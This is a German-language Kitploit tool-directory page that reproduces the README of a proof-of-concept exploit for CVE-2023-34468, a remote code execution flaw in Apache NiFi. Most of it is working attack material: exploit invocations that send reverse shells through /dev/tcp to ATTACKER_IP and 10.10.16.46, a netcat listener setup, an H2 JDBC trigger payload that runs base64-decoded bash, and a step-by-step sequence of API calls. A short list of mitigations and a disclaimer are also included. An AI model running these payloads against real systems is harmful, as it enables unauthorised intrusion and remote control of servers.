Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2023-34468 — CVE-2023-34468 - Apache NiFi H2 RCE PoC | Kitploit
Tools/GitHubGitHub/jeanpt/cve-2023-34468
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationPayload Development
GitHubjeanpt/cve-2023-34468

CVE-2023-34468

CVE-2023-34468 - Apache NiFi H2 RCE PoC

Repository anzeigen
vor 3 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2023-34468 Exploit

GitHub stars GitHub license

Übersicht

Dieses Repository stellt ein Python-basiertes Exploit-Tool für CVE-2023-34468 bereit, eine kritische Schwachstelle zur Remote-Code-Ausführung (CVSS 9.8) in Apache NiFi Versionen 0.0.2 bis 1.21.0. Es ermöglicht authentifizierten Benutzern, beliebigen Code auszuführen, indem H2-Datenbankverbindungszeichenfolgen mit eingebetteten Triggern manipuliert werden.

⚠️ Warnung: Nur für Bildungs- und autorisierte Testzwecke. Unbefugter Zugriff auf Computersysteme ist illegal.

Schwachstellendetails

  • CVE ID: CVE-2023-34468
  • Betroffene Versionen: Apache NiFi 0.0.2–1.21.0
  • Auswirkung: Remote Code Execution (RCE)
  • CVSS-Score: 9.8 (Kritisch)
  • Entdeckungsdatum: 12. Juni 2023
  • Beschreibung: Die Controller-Services DBCPConnectionPool und HikariCPConnectionPool ermöglichen es Benutzern, eine Datenbank-URL mit dem H2-Treiber zu konfigurieren, der die Ausführung beliebigen Java-Codes über die CREATE TRIGGER-Funktionalität von H2 ermöglicht. Wenn eine Verbindung initialisiert wird, wird eingebetteter JavaScript-Code mit den Berechtigungen von NiFi ausgeführt.

Voraussetzungen

  • Python 3.7+
  • requests Bibliothek
  • Netzwerkzugriff auf NiFi API (Standard-Port 8080 oder 8443)
  • Ziel-NiFi-Instanz ohne Authentifizierung ODER gültige Anmeldedaten
  • Listener-Einrichtung für Reverse Shell (z. B. nc -lnvp 5555)

Schnellstart

Klonen und Installieren

root@kitploit:~
git clone https://github.com/Jeanpt/CVE-2023-34468.git
cd CVE-2023-34468
pip install -r requirements.txt

Nicht authentifiziertes NiFi (keine Anmeldedaten erforderlich)

root@kitploit:~
# Start your listener
nc -lnvp 5555

# Run the exploit — auth is auto-detected, no flags needed for open instances
python3 exploit.py \
  -t http://nifi.target.com:8080 \
  -c "bash -i >& /dev/tcp/ATTACKER_IP/5555 0>&1" \
  -lh ATTACKER_IP \
  -lp 5555

Authentifiziertes NiFi (Benutzername/Passwort)

root@kitploit:~
python3 exploit.py \
  -t https://nifi.target.com:8443 \
  -c "bash -i >& /dev/tcp/ATTACKER_IP/5555 0>&1" \
  -lh ATTACKER_IP \
  -lp 5555 \
  -u admin -p password123

Authentifiziertes NiFi (Bearer-Token)

root@kitploit:~
python3 exploit.py \
  -t https://nifi.target.com:8443 \
  -c "bash -i >& /dev/tcp/ATTACKER_IP/5555 0>&1" \
  -lh ATTACKER_IP \
  -lp 5555 \
  --token <your_bearer_token>

Bereinigung überspringen (Artefakte auf Ziel hinterlassen)

root@kitploit:~
python3 exploit.py -t http://target:8080 -c "..." -lh ATTACKER_IP -lp 5555 --no-cleanup

Alle Optionen

root@kitploit:~
python3 exploit.py --help

Überprüfung: Überprüfen Sie Ihren Listener auf die Reverse-Shell-Verbindung. Führen Sie id aus, um die Codeausführung zu bestätigen.

Funktionsweise (Technische Details)

Angriffsablauf

  1. Aufklärung: NiFi-Version über /nifi-api/system-diagnostics identifizieren
  2. DBCP-Dienst erstellen: POST bösartiger H2-Verbindungszeichenfolge an /nifi-api/process-groups/root/controller-services
  3. Prozessor erstellen: POST ExecuteSQL-Prozessor an dieselbe Prozessgruppe
  4. Prozessor konfigurieren: Prozessor mit bösartigem DBCP-Dienst verknüpfen
  5. Dienst aktivieren: PUT an /nifi-api/controller-services/{id}/run-status mit Status ENABLED
  6. RCE auslösen: PUT an /nifi-api/processors/{id}/run-status mit Status RUNNING — H2-Trigger feuert bei Verbindung

H2 Payload Structure

root@kitploit:~
jdbc:h2:file:/tmp/{random_db}.db;TRACE_LEVEL_SYSTEM_OUT=0\;CREATE TRIGGER {random_name}
BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript
java.lang.Runtime.getRuntime().exec('bash -c {echo,BASE64_PAYLOAD}|{base64,-d}|{bash,-i}')
$$--=x

Wichtige Punkte:

  • Semikolon mit Backslash escapen: \;
  • JavaScript feuert bei BEFORE SELECT ON INFORMATION_SCHEMA.TABLES (automatisch ausgelöst)
  • Payload Base64-kodieren, um Probleme mit Sonderzeichen zu vermeiden
  • Füllzeichen Gleichheitszeichen werden durch Leerzeichen ersetzt, um H2-Parsing-Probleme zu vermeiden

Payload-Beispiele

Reverse Shell

root@kitploit:~
# Run exploit directly
python3 exploit.py -t http://target:8080 -c "bash -i >& /dev/tcp/10.10.16.46/5555 0>&1" -lh 10.10.16.46 -lp 5555

Befehl Ausführen

root@kitploit:~
python3 exploit.py -t http://target:8080 -c "touch /tmp/pwned" -lh 127.0.0.1 -lp 5555

Minderungsmaßnahmen

  • Update: Upgrade auf Apache NiFi 1.22.0 oder höher
  • Zugriffskontrolle: NiFi-API-Zugriff über Firewall/WAF einschränken
  • Authentifizierung: Authentifizierung in NiFi aktivieren und erzwingen
  • Überwachung: Warnung bei ungewöhnlichen Controller-Service-Konfigurationen
  • Netzwerksegmentierung: NiFi von nicht vertrauenswürdigen Netzwerken isolieren

Referenzen

  • NVD - CVE-2023-34468
  • Apache NiFi Security Advisory
  • NIFI-11653 - Issue Tracker
  • Apache Mailing List Discussion

Haftungsausschluss

Dieses Tool wird nur für Sicherheitsforschung und autorisierte Tests bereitgestellt. Der Autor ist nicht verantwortlich für Missbrauch oder Schäden, die durch diesen Exploit verursacht werden. Testen Sie stets verantwortungsvoll nur in autorisierten Umgebungen.

Danksagungen

  • Entdeckung: Matei "Mal" Badanoiu
  • Metasploit-Modul: h00die
  • Python-POC: Jean

Lizenz

MIT-Lizenz – Siehe LICENSE-Datei für Details


Entwickelt für Sicherheitsforschung und autorisierte Penetrationstests.

Topics: apache-nifi h2-database rce exploit cve-2023-34468 python security-research

Tool herunterladen
BefehlBeschreibung
-t, --targetURL der Ziel-NiFi-Instanz (erforderlich)
-c, --commandAuszuführender Befehl (erforderlich)
-lh, --lhostListener-Host für Rückruf (erforderlich)
-lp, --lportListener-Port für Rückruf (erforderlich)
-u, --usernameNiFi-Benutzername (authentifizierte Instanzen)
-p, --passwordNiFi-Passwort (authentifizierte Instanzen)
--tokenBearer-Token (authentifizierte Instanzen)
--no-cleanupBereinigung nach Ausnutzung überspringen
--delaySekunden warten vor Bereinigung (Standard: 10)
--driver-pathH2-Treiber-Jar-Pfad überschreiben (standardmäßig ausgelassen)